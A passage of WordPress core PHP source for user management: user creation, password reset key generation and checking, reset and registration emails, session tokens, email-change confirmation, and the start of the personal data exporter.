 * @see wp_insert_user() More complete way to create a new user.
 *
 * @param string $username The user's username.
 * @param string $password The user's password.
 * @param string $email    Optional. The user's email. Default empty.
 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
 *                      be created.
 */
function wp_create_user(
	$username,
	#[\SensitiveParameter]
	$password,
	$email = ''
) {
	$user_login = wp_slash( $username );
	$user_email = wp_slash( $email );
	$user_pass  = $password;

	$userdata = compact( 'user_login', 'user_email', 'user_pass' );
	return wp_insert_user( $userdata );
}

/**
 * Returns a list of meta keys to be (maybe) populated in wp_update_user().
 *
 * The list of keys returned via this function are dependent on the presence
 * of those keys in the user meta data to be set.
 *
 * @since 3.3.0
 * @access private
 *
 * @param WP_User $user WP_User instance.
 * @return string[] List of user keys to be populated in wp_update_user().
 */
function _get_additional_user_keys( $user ) {
	$keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front', 'locale' );
	return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
}

/**
 * Sets up the user contact methods.
 *
 * Default contact methods were removed in 3.6. A filter dictates contact methods.
 *
 * @since 3.7.0
 *
 * @param WP_User|null $user Optional. WP_User object.
 * @return string[] Array of contact method labels keyed by contact method.
 */
function wp_get_user_contact_methods( $user = null ) {
	$methods = array();
	if ( get_site_option( 'initial_db_version' ) < 23588 ) {
		$methods = array(
			'aim'    => __( 'AIM' ),
			'yim'    => __( 'Yahoo IM' ),
			'jabber' => __( 'Jabber / Google Talk' ),
		);
	}

	/**
	 * Filters the user contact methods.
	 *
	 * @since 2.9.0
	 *
	 * @param string[]     $methods Array of contact method labels keyed by contact method.
	 * @param WP_User|null $user    WP_User object or null if none was provided.
	 */
	return apply_filters( 'user_contactmethods', $methods, $user );
}

/**
 * The old private function for setting up user contact methods.
 *
 * Use wp_get_user_contact_methods() instead.
 *
 * @since 2.9.0
 * @access private
 *
 * @param WP_User|null $user Optional. WP_User object. Default null.
 * @return string[] Array of contact method labels keyed by contact method.
 */
function _wp_get_user_contactmethods( $user = null ) {
	return wp_get_user_contact_methods( $user );
}

/**
 * Gets the text suggesting how to create strong passwords.
 *
 * @since 4.1.0
 *
 * @return string The password hint text.
 */
function wp_get_password_hint() {
	$hint = __( 'Hint: The password should be at least twelve characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ &amp; ).' );

	/**
	 * Filters the text describing the site's password complexity policy.
	 *
	 * @since 4.1.0
	 *
	 * @param string $hint The password hint text.
	 */
	return apply_filters( 'password_hint', $hint );
}

/**
 * Creates, stores, then returns a password reset key for user.
 *
 * @since 4.4.0
 *
 * @param WP_User $user User to retrieve password reset key for.
 * @return string|WP_Error Password reset key on success. WP_Error on error.
 */
function get_password_reset_key( $user ) {
	if ( ! ( $user instanceof WP_User ) ) {
		return new WP_Error( 'invalidcombo', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
	}

	/**
	 * Fires before a new password is retrieved.
	 *
	 * Use the {@see 'retrieve_password'} hook instead.
	 *
	 * @since 1.5.0
	 * @deprecated 1.5.1 Misspelled. Use {@see 'retrieve_password'} hook instead.
	 *
	 * @param string $user_login The user login name.
	 */
	do_action_deprecated( 'retreive_password', array( $user->user_login ), '1.5.1', 'retrieve_password' );

	/**
	 * Fires before a new password is retrieved.
	 *
	 * @since 1.5.1
	 *
	 * @param string $user_login The user login name.
	 */
	do_action( 'retrieve_password', $user->user_login );

	$password_reset_allowed = wp_is_password_reset_allowed_for_user( $user );
	if ( ! $password_reset_allowed ) {
		return new WP_Error( 'no_password_reset', __( 'Password reset is not allowed for this user' ) );
	} elseif ( is_wp_error( $password_reset_allowed ) ) {
		return $password_reset_allowed;
	}

	// Generate something random for a password reset key.
	$key = wp_generate_password( 20, false );

	/**
	 * Fires when a password reset key is generated.
	 *
	 * @since 2.5.0
	 *
	 * @param string $user_login The username for the user.
	 * @param string $key        The generated password reset key.
	 */
	do_action( 'retrieve_password_key', $user->user_login, $key );

	$hashed = time() . ':' . wp_fast_hash( $key );

	$key_saved = wp_update_user(
		array(
			'ID'                  => $user->ID,
			'user_activation_key' => $hashed,
		)
	);

	if ( is_wp_error( $key_saved ) ) {
		return $key_saved;
	}

	return $key;
}

/**
 * Retrieves a user row based on password reset key and login.
 *
 * A key is considered 'expired' if it exactly matches the value of the
 * user_activation_key field, rather than being matched after going through the
 * hashing process. This field is now hashed; old values are no longer accepted
 * but have a different WP_Error code so good user feedback can be provided.
 *
 * @since 3.1.0
 *
 * @param string $key       The password reset key.
 * @param string $login     The user login.
 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
 */
function check_password_reset_key(
	#[\SensitiveParameter]
	$key,
	$login
) {
	$key = preg_replace( '/[^a-z0-9]/i', '', $key );

	if ( empty( $key ) || ! is_string( $key ) ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	if ( empty( $login ) || ! is_string( $login ) ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	$user = get_user_by( 'login', $login );

	if ( ! $user ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	/**
	 * Filters the expiration time of password reset keys.
	 *
	 * @since 4.3.0
	 *
	 * @param int $expiration The expiration time in seconds.
	 */
	$expiration_duration = apply_filters( 'password_reset_expiration', DAY_IN_SECONDS );

	if ( str_contains( $user->user_activation_key, ':' ) ) {
		list( $pass_request_time, $pass_key ) = explode( ':', $user->user_activation_key, 2 );
		$expiration_time                      = $pass_request_time + $expiration_duration;
	} else {
		$pass_key        = $user->user_activation_key;
		$expiration_time = false;
	}

	if ( ! $pass_key ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	$hash_is_correct = wp_verify_fast_hash( $key, $pass_key );

	if ( $hash_is_correct && $expiration_time && time() < $expiration_time ) {
		return $user;
	} elseif ( $hash_is_correct && $expiration_time ) {
		// Key has an expiration time that's passed.
		return new WP_Error( 'expired_key', __( 'Invalid key.' ) );
	}

	if ( hash_equals( $user->user_activation_key, $key ) || ( $hash_is_correct && ! $expiration_time ) ) {
		$return  = new WP_Error( 'expired_key', __( 'Invalid key.' ) );
		$user_id = $user->ID;

		/**
		 * Filters the return value of check_password_reset_key() when an
		 * old-style key or an expired key is used.
		 *
		 * @since 3.7.0 Previously plain-text keys were stored in the database.
		 * @since 4.3.0 Previously key hashes were stored without an expiration time.
		 *
		 * @param WP_Error $return  A WP_Error object denoting an expired key.
		 *                          Return a WP_User object to validate the key.
		 * @param int      $user_id The matched user ID.
		 */
		return apply_filters( 'password_reset_key_expired', $return, $user_id );
	}

	return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
}

/**
 * Handles sending a password retrieval email to a user.
 *
 * @since 2.5.0
 * @since 5.7.0 Added `$user_login` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $user_login Optional. Username to send a password retrieval email for.
 *                           Defaults to `$_POST['user_login']` if not set.
 * @return true|WP_Error True when finished, WP_Error object on error.
 */
function retrieve_password( $user_login = '' ) {
	$errors    = new WP_Error();
	$user_data = false;

	// Use the passed $user_login if available, otherwise use $_POST['user_login'].
	if ( ! $user_login && ! empty( $_POST['user_login'] ) ) {
		$user_login = $_POST['user_login'];
	}

	$user_login = trim( wp_unslash( $user_login ) );

	if ( empty( $user_login ) ) {
		$errors->add( 'empty_username', __( '<strong>Error:</strong> Please enter a username or email address.' ) );
	} elseif ( strpos( $user_login, '@' ) ) {
		$user_data = get_user_by( 'email', $user_login );

		if ( empty( $user_data ) ) {
			$user_data = get_user_by( 'login', $user_login );
		}

		if ( empty( $user_data ) ) {
			$errors->add( 'invalid_email', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
		}
	} else {
		$user_data = get_user_by( 'login', $user_login );
	}

	/**
	 * Filters the user data during a password reset request.
	 *
	 * Allows, for example, custom validation using data other than username or email address.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 */
	$user_data = apply_filters( 'lostpassword_user_data', $user_data, $errors );

	/**
	 * Fires before errors are returned from a password reset request.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Added the `$errors` parameter.
	 * @since 5.4.0 Added the `$user_data` parameter.
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	do_action( 'lostpassword_post', $errors, $user_data );

	/**
	 * Filters the errors encountered on a password reset request.
	 *
	 * The filtered WP_Error object may, for example, contain errors for an invalid
	 * username or email address. A WP_Error object should always be returned,
	 * but may or may not contain errors.
	 *
	 * If any errors are present in $errors, this will abort the password reset request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	$errors = apply_filters( 'lostpassword_errors', $errors, $user_data );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( ! $user_data ) {
		$errors->add( 'invalidcombo', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
		return $errors;
	}

	/**
	 * Filters whether to send the retrieve password email.
	 *
	 * Return false to disable sending the email.
	 *
	 * @since 6.0.0
	 *
	 * @param bool    $send       Whether to send the email.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	if ( ! apply_filters( 'send_retrieve_password_email', true, $user_login, $user_data ) ) {
		return true;
	}

	// Redefining user_login ensures we return the right case in the email.
	$user_login = $user_data->user_login;
	$user_email = $user_data->user_email;
	$key        = get_password_reset_key( $user_data );

	if ( is_wp_error( $key ) ) {
		return $key;
	}

	// Localize password reset message content for user.
	$locale = get_user_locale( $user_data );

	$switched_locale = switch_to_user_locale( $user_data->ID );

	if ( is_multisite() ) {
		$site_name = get_network()->site_name;
	} else {
		/*
		 * The blogname option is escaped with esc_html on the way into the database
		 * in sanitize_option. We want to reverse this for the plain text arena of emails.
		 */
		$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	}

	$message = __( 'Someone has requested a password reset for the following account:' ) . "\r\n\r\n";
	/* translators: %s: Site name. */
	$message .= sprintf( __( 'Site Name: %s' ), $site_name ) . "\r\n\r\n";
	/* translators: %s: User login. */
	$message .= sprintf( __( 'Username: %s' ), $user_login ) . "\r\n\r\n";
	$message .= __( 'If this was a mistake, ignore this email and nothing will happen.' ) . "\r\n\r\n";
	$message .= __( 'To reset your password, visit the following address:' ) . "\r\n\r\n";

	/*
	 * Since some user login names end in a period, this could produce ambiguous URLs that
	 * end in a period. To avoid the ambiguity, ensure that the login is not the last query
	 * arg in the URL. If moving it to the end, a trailing period will need to be escaped.
	 *
	 * @see https://core.trac.wordpress.org/tickets/42957
	 */
	$message .= network_site_url( 'wp-login.php?login=' . rawurlencode( $user_login ) . "&key=$key&action=rp", 'login' ) . '&wp_lang=' . $locale . "\r\n\r\n";

	if ( ! is_user_logged_in() ) {
		$requester_ip = $_SERVER['REMOTE_ADDR'];
		if ( $requester_ip ) {
			$message .= sprintf(
				/* translators: %s: IP address of password reset requester. */
				__( 'This password reset request originated from the IP address %s.' ),
				$requester_ip
			) . "\r\n";
		}
	}

	/* translators: Password reset notification email subject. %s: Site title. */
	$title = sprintf( __( '[%s] Password Reset' ), $site_name );

	/**
	 * Filters the subject of the password reset email.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $title      Email subject.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );

	/**
	 * Filters the message body of the password reset mail.
	 *
	 * If the filtered message is empty, the password reset email will not be sent.
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $message    Email message.
	 * @param string  $key        The activation key.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );

	// Short-circuit on falsey $message value for backwards compatibility.
	if ( ! $message ) {
		return true;
	}

	/*
	 * Wrap the single notification email arguments in an array
	 * to pass them to the retrieve_password_notification_email filter.
	 */
	$defaults = array(
		'to'      => $user_email,
		'subject' => $title,
		'message' => $message,
		'headers' => '',
	);

	/**
	 * Filters the contents of the reset password notification email sent to the user.
	 *
	 * @since 6.0.0
	 *
	 * @param array $defaults {
	 *     The default notification email arguments. Used to build wp_mail().
	 *
	 *     @type string $to      The intended recipient - user email address.
	 *     @type string $subject The subject of the email.
	 *     @type string $message The body of the email.
	 *     @type string $headers The headers of the email.
	 * }
	 * @param string  $key        The activation key.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$notification_email = apply_filters( 'retrieve_password_notification_email', $defaults, $key, $user_login, $user_data );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( is_array( $notification_email ) ) {
		// Force key order and merge defaults in case any value is missing in the filtered array.
		$notification_email = array_merge( $defaults, $notification_email );
	} else {
		$notification_email = $defaults;
	}

	list( $to, $subject, $message, $headers ) = array_values( $notification_email );

	$subject = wp_specialchars_decode( $subject );

	if ( ! wp_mail( $to, $subject, $message, $headers ) ) {
		$errors->add(
			'retrieve_password_email_failure',
			sprintf(
				/* translators: %s: Documentation URL. */
				__( '<strong>Error:</strong> The email could not be sent. Your site may not be correctly configured to send emails. <a href="%s">Get support for resetting your password</a>.' ),
				esc_url( __( 'https://wordpress.org/documentation/article/reset-your-password/' ) )
			)
		);
		return $errors;
	}

	return true;
}

/**
 * Handles resetting the user's password.
 *
 * @since 2.5.0
 *
 * @param WP_User $user     The user
 * @param string  $new_pass New password for the user in plaintext
 */
function reset_password(
	$user,
	#[\SensitiveParameter]
	$new_pass
) {
	/**
	 * Fires before the user's password is reset.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_User $user     The user.
	 * @param string  $new_pass New user password.
	 */
	do_action( 'password_reset', $user, $new_pass );

	wp_set_password( $new_pass, $user->ID );
	update_user_meta( $user->ID, 'default_password_nag', false );

	/**
	 * Fires after the user's password is reset.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user     The user.
	 * @param string  $new_pass New user password.
	 */
	do_action( 'after_password_reset', $user, $new_pass );
}

/**
 * Handles registering a new user.
 *
 * @since 2.5.0
 *
 * @param string $user_login User's username for logging in
 * @param string $user_email User's email address to send password and add
 * @return int|WP_Error Either user's ID or error on failure.
 */
function register_new_user( $user_login, $user_email ) {
	$errors = new WP_Error();

	$sanitized_user_login = sanitize_user( $user_login );
	/**
	 * Filters the email address of a user being registered.
	 *
	 * @since 2.1.0
	 *
	 * @param string $user_email The email address of the new user.
	 */
	$user_email = apply_filters( 'user_registration_email', $user_email );

	// Check the username.
	if ( '' === $sanitized_user_login ) {
		$errors->add( 'empty_username', __( '<strong>Error:</strong> Please enter a username.' ) );
	} elseif ( ! validate_username( $user_login ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
		$sanitized_user_login = '';
	} elseif ( username_exists( $sanitized_user_login ) ) {
		$errors->add( 'username_exists', __( '<strong>Error:</strong> This username is already registered. Please choose another one.' ) );
	} else {
		/** This filter is documented in wp-includes/user.php */
		$illegal_user_logins = (array) apply_filters( 'illegal_user_logins', array() );
		if ( in_array( strtolower( $sanitized_user_login ), array_map( 'strtolower', $illegal_user_logins ), true ) ) {
			$errors->add( 'invalid_username', __( '<strong>Error:</strong> Sorry, that username is not allowed.' ) );
		}
	}

	// Check the email address.
	if ( '' === $user_email ) {
		$errors->add( 'empty_email', __( '<strong>Error:</strong> Please type your email address.' ) );
	} elseif ( ! is_email( $user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error:</strong> The email address is not correct.' ) );
		$user_email = '';
	} elseif ( email_exists( $user_email ) ) {
		$errors->add(
			'email_exists',
			sprintf(
				/* translators: %s: Link to the login page. */
				__( '<strong>Error:</strong> This email address is already registered. <a href="%s">Log in</a> with this address or choose another one.' ),
				wp_login_url()
			)
		);
	}

	/**
	 * Fires when submitting registration form data, before the user is created.
	 *
	 * @since 2.1.0
	 *
	 * @param string   $sanitized_user_login The submitted username after being sanitized.
	 * @param string   $user_email           The submitted email.
	 * @param WP_Error $errors               Contains any errors with submitted username and email,
	 *                                       e.g., an empty field, an invalid username or email,
	 *                                       or an existing username or email.
	 */
	do_action( 'register_post', $sanitized_user_login, $user_email, $errors );

	/**
	 * Filters the errors encountered when a new user is being registered.
	 *
	 * The filtered WP_Error object may, for example, contain errors for an invalid
	 * or existing username or email address. A WP_Error object should always be returned,
	 * but may or may not contain errors.
	 *
	 * If any errors are present in $errors, this will abort the user's registration.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Error $errors               A WP_Error object containing any errors encountered
	 *                                       during registration.
	 * @param string   $sanitized_user_login User's username after it has been sanitized.
	 * @param string   $user_email           User's email.
	 */
	$errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	$user_pass = wp_generate_password( 12, false );
	$user_id   = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
	if ( ! $user_id || is_wp_error( $user_id ) ) {
		$errors->add(
			'registerfail',
			sprintf(
				/* translators: %s: Admin email address. */
				__( '<strong>Error:</strong> Could not register you&hellip; please contact the <a href="mailto:%s">site admin</a>!' ),
				get_option( 'admin_email' )
			)
		);
		return $errors;
	}

	update_user_meta( $user_id, 'default_password_nag', true ); // Set up the password change nag.

	if ( ! empty( $_COOKIE['wp_lang'] ) ) {
		$wp_lang = sanitize_text_field( $_COOKIE['wp_lang'] );
		if ( in_array( $wp_lang, get_available_languages(), true ) ) {
			update_user_meta( $user_id, 'locale', $wp_lang ); // Set user locale if defined on registration.
		}
	}

	/**
	 * Fires after a new user registration has been recorded.
	 *
	 * @since 4.4.0
	 *
	 * @param int $user_id ID of the newly registered user.
	 */
	do_action( 'register_new_user', $user_id );

	return $user_id;
}

/**
 * Initiates email notifications related to the creation of new users.
 *
 * Notifications are sent both to the site admin and to the newly created user.
 *
 * @since 4.4.0
 * @since 4.6.0 Converted the `$notify` parameter to accept 'user' for sending
 *              notifications only to the user created.
 *
 * @param int    $user_id ID of the newly created user.
 * @param string $notify  Optional. Type of notification that should happen. Accepts 'admin'
 *                        or an empty string (admin only), 'user', or 'both' (admin and user).
 *                        Default 'both'.
 */
function wp_send_new_user_notifications( $user_id, $notify = 'both' ) {
	wp_new_user_notification( $user_id, null, $notify );
}

/**
 * Retrieves the current session token from the logged_in cookie.
 *
 * @since 4.0.0
 *
 * @return string Token.
 */
function wp_get_session_token() {
	$cookie = wp_parse_auth_cookie( '', 'logged_in' );
	return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
}

/**
 * Retrieves a list of sessions for the current user.
 *
 * @since 4.0.0
 *
 * @return array Array of sessions.
 */
function wp_get_all_sessions() {
	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
	return $manager->get_all();
}

/**
 * Removes the current session token from the database.
 *
 * @since 4.0.0
 */
function wp_destroy_current_session() {
	$token = wp_get_session_token();
	if ( $token ) {
		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
		$manager->destroy( $token );
	}
}

/**
 * Removes all but the current session token for the current user for the database.
 *
 * @since 4.0.0
 */
function wp_destroy_other_sessions() {
	$token = wp_get_session_token();
	if ( $token ) {
		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
		$manager->destroy_others( $token );
	}
}

/**
 * Removes all session tokens for the current user from the database.
 *
 * @since 4.0.0
 */
function wp_destroy_all_sessions() {
	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
	$manager->destroy_all();
}

/**
 * Gets the user IDs of all users with no role on this site.
 *
 * @since 4.4.0
 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $site_id Optional. The site ID to get users with no role for. Defaults to the current site.
 * @return string[] Array of user IDs as strings.
 */
function wp_get_users_with_no_role( $site_id = null ) {
	global $wpdb;

	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	$prefix = $wpdb->get_blog_prefix( $site_id );

	if ( is_multisite() && get_current_blog_id() !== $site_id ) {
		switch_to_blog( $site_id );
		$role_names = wp_roles()->get_names();
		restore_current_blog();
	} else {
		$role_names = wp_roles()->get_names();
	}

	$regex = implode( '|', array_keys( $role_names ) );
	$regex = preg_replace( '/[^a-zA-Z_\|-]/', '', $regex );
	$users = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT user_id
			FROM $wpdb->usermeta
			WHERE meta_key = '{$prefix}capabilities'
			AND meta_value NOT REGEXP %s",
			$regex
		)
	);

	return $users;
}

/**
 * Retrieves the current user object.
 *
 * Will set the current user, if the current user is not set. The current user
 * will be set to the logged-in person. If no user is logged-in, then it will
 * set the current user to 0, which is invalid and won't have any permissions.
 *
 * This function is used by the pluggable functions wp_get_current_user() and
 * get_currentuserinfo(), the latter of which is deprecated but used for backward
 * compatibility.
 *
 * @since 4.5.0
 * @access private
 *
 * @see wp_get_current_user()
 * @global WP_User $current_user Checks if the current user is set.
 *
 * @return WP_User Current WP_User instance.
 */
function _wp_get_current_user() {
	global $current_user;

	if ( ! empty( $current_user ) ) {
		if ( $current_user instanceof WP_User ) {
			return $current_user;
		}

		// Upgrade stdClass to WP_User.
		if ( is_object( $current_user ) && isset( $current_user->ID ) ) {
			$cur_id       = $current_user->ID;
			$current_user = null;
			wp_set_current_user( $cur_id );
			return $current_user;
		}

		// $current_user has a junk value. Force to WP_User with ID 0.
		$current_user = null;
		wp_set_current_user( 0 );
		return $current_user;
	}

	if ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
		wp_set_current_user( 0 );
		return $current_user;
	}

	/**
	 * Filters the current user.
	 *
	 * The default filters use this to determine the current user from the
	 * request's cookies, if available.
	 *
	 * Returning a value of false will effectively short-circuit setting
	 * the current user.
	 *
	 * @since 3.9.0
	 *
	 * @param int|false $user_id User ID if one has been determined, false otherwise.
	 */
	$user_id = apply_filters( 'determine_current_user', false );
	if ( ! $user_id ) {
		wp_set_current_user( 0 );
		return $current_user;
	}

	wp_set_current_user( $user_id );

	return $current_user;
}

/**
 * Sends a confirmation request email when a change of user email address is attempted.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @global WP_Error $errors WP_Error object.
 */
function send_confirmation_on_profile_email() {
	global $errors;

	$current_user = wp_get_current_user();
	if ( ! is_object( $errors ) ) {
		$errors = new WP_Error();
	}

	if ( $current_user->ID !== (int) $_POST['user_id'] ) {
		return false;
	}

	if ( $current_user->user_email !== $_POST['email'] ) {
		if ( ! is_email( $_POST['email'] ) ) {
			$errors->add(
				'user_email',
				__( '<strong>Error:</strong> The email address is not correct.' ),
				array(
					'form-field' => 'email',
				)
			);

			return;
		}

		if ( email_exists( $_POST['email'] ) ) {
			$errors->add(
				'user_email',
				__( '<strong>Error:</strong> The email address is already used.' ),
				array(
					'form-field' => 'email',
				)
			);
			delete_user_meta( $current_user->ID, '_new_email' );

			return;
		}

		$hash           = md5( $_POST['email'] . time() . wp_rand() );
		$new_user_email = array(
			'hash'     => $hash,
			'newemail' => $_POST['email'],
		);
		update_user_meta( $current_user->ID, '_new_email', $new_user_email );

		$sitename = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

		/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$email_text = __(
			'Howdy ###USERNAME###,

You recently requested to have the email address on your account changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		/**
		 * Filters the text of the email sent when a change of user email address is attempted.
		 *
		 * The following strings have a special meaning and will get replaced dynamically:
		 * - ###USERNAME###  The current user's username.
		 * - ###ADMIN_URL### The link to click on to confirm the email change.
		 * - ###EMAIL###     The new email.
		 * - ###SITENAME###  The name of the site.
		 * - ###SITEURL###   The URL to the site.
		 *
		 * @since MU (3.0.0)
		 * @since 4.9.0 This filter is no longer Multisite specific.
		 *
		 * @param string $email_text     Text in the email.
		 * @param array  $new_user_email {
		 *     Data relating to the new user email address.
		 *
		 *     @type string $hash     The secure hash used in the confirmation link URL.
		 *     @type string $newemail The proposed new email address.
		 * }
		 */
		$content = apply_filters( 'new_user_email_content', $email_text, $new_user_email );

		$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
		$content = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'profile.php?newuseremail=' . $hash ) ), $content );
		$content = str_replace( '###EMAIL###', $_POST['email'], $content );
		$content = str_replace( '###SITENAME###', $sitename, $content );
		$content = str_replace( '###SITEURL###', home_url(), $content );

		/* translators: New email address notification email subject. %s: Site title. */
		wp_mail( $_POST['email'], sprintf( __( '[%s] Email Change Request' ), $sitename ), $content );

		$_POST['email'] = $current_user->user_email;
	}
}

/**
 * Adds an admin notice alerting the user to check for confirmation request email
 * after email address change.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @global string $pagenow The filename of the current screen.
 */
function new_user_email_admin_notice() {
	global $pagenow;

	if ( 'profile.php' === $pagenow && isset( $_GET['updated'] ) ) {
		$email = get_user_meta( get_current_user_id(), '_new_email', true );
		if ( $email ) {
			$message = sprintf(
				/* translators: %s: New email address. */
				__( 'Your email address has not been updated yet. Please check your inbox at %s for a confirmation email.' ),
				'<code>' . esc_html( $email['newemail'] ) . '</code>'
			);
			wp_admin_notice( $message, array( 'type' => 'info' ) );
		}
	}
}

/**
 * Gets all personal data request types.
 *
 * @since 4.9.6
 * @access private
 *
 * @return string[] List of core privacy action types.
 */
function _wp_privacy_action_request_types() {
	return array(
		'export_personal_data',
		'remove_personal_data',
	);
}

/**
 * Registers the personal data exporter for users.
 *
 * @since 4.9.6
 *
 * @param array[] $exporters An array of personal data exporters.
 * @return array[] An array of personal data exporters.
 */
function wp_register_user_personal_data_exporter( $exporters ) {
	$exporters['wordpress-user'] = array(
		'exporter_friendly_name' => __( 'WordPress User' ),
		'callback'               => 'wp_user_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports personal data associated with an email address from the user and user_meta table.
 *
 * @since 4.9.6
 * @since 5.4.0 Added 'Community Events Location' group to the export data.
 * @since 5.4.0 Added 'Session Tokens' group to the export data.
 *
 * @param string $email_address  The user's email address.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_user_personal_data_exporter( $email_address ) {
	$email_address = trim( $email_address );

	$data_to_export = array();

	$user = get_user_by( 'email', $email_address );

	if ( ! $user ) {
		return array(
			'data' => array(),
			'done' => true,
		);
	}

	$user_meta = get_user_meta( $user->ID );

	$user_props_to_export = array(
		'ID'              => __( 'User ID' ),
		'user_login'      => __( 'User Login Name' ),
		'user_nicename'   => __( 'User Nice Name' ),
		'user_email'      => __( 'User Email' ),
		'user_url'        => __( 'User URL' ),
		'user_registered' => __( 'User Registration Date' ),
		'display_name'    => __( 'User Display Name' ),
		'nickname'        => __( 'User Nickname' ),
		'first_name'      => __( 'User First Name' ),
		'last_name'       => __( 'User Last Name' ),
		'description'     => __( 'User Description' ),
	);

	$user_data_to_export = array();

	foreach ( $user_props_to_export as $key => $name ) {
		$value = '';

		switch ( $key ) {
			case 'ID':
			case 'user_login':
			case 'user_nicename':
			case 'user_email':
			case 'user_url':
			case 'user_registered':
			case 'display_name':
				$value = $user->data->$key;
				break;
			case 'nickname':
			case 'first_name':
			case 'last_name':
			case 'description':
				$value = $user_meta[ $key ][0];
				break;
		}

		if ( ! empty( $value ) ) {
			$user_data_to_export[] = array(
				'name'  => $name,
				'value' => $value,
			);
		}
	}

	// Get the list of reserved names.
	$reserved_names = array_values( $user_props_to_export );

	/**
	 * Filters the user's profile data for the privacy exporter.
	 *
	 * @since 5.4.0
	 *
	 * @param array    $additional_user_profile_data {
	 *     An array of name-value pairs of additional user data items. Default empty array.
	 *
	 *     @type string $name  The user-facing name of an item name-value pair,e.g. 'IP Address'.
	 *     @type string $value The user-facing value of an item data pair, e.g. '50.60.70.0'.
	 * }
	 * @param WP_User  $user           The user whose data is being exported.
	 * @param string[] $reserved_names An array of reserved names. Any item in `$additional_user_data`
	 *                                 that uses one of these for its `name` will not be included in the export.
	 */
	$_extra_data = apply_filters( 'wp_privacy_additional_user_profile_data', array(), $user, $reserved_names );

	if ( is_array( $_extra_data ) && ! empty( $_extra_data ) ) {
		// Remove items that use reserved names.
		$extra_data = array_filter(
			$_extra_data,
			static function ( $item ) use ( $reserved_names ) {
				return ! in_array( $item['name'], $reserved_names, true );
			}
		);

		if ( count( $extra_data ) !== count( $_extra_data ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: wp_privacy_additional_user_profile_data */
					__( 'Filter %s returned items with reserved names.' ),
					'<code>wp_privacy_additional_user_profile_data</code>'
				),
				'5.4.0'
			);
		}

		if ( ! empty( $extra_data ) ) {
			$user_data_to_export = array_merge( $user_data_to_export, $extra_data );
		}
	}

	$data_to_export[] = array(
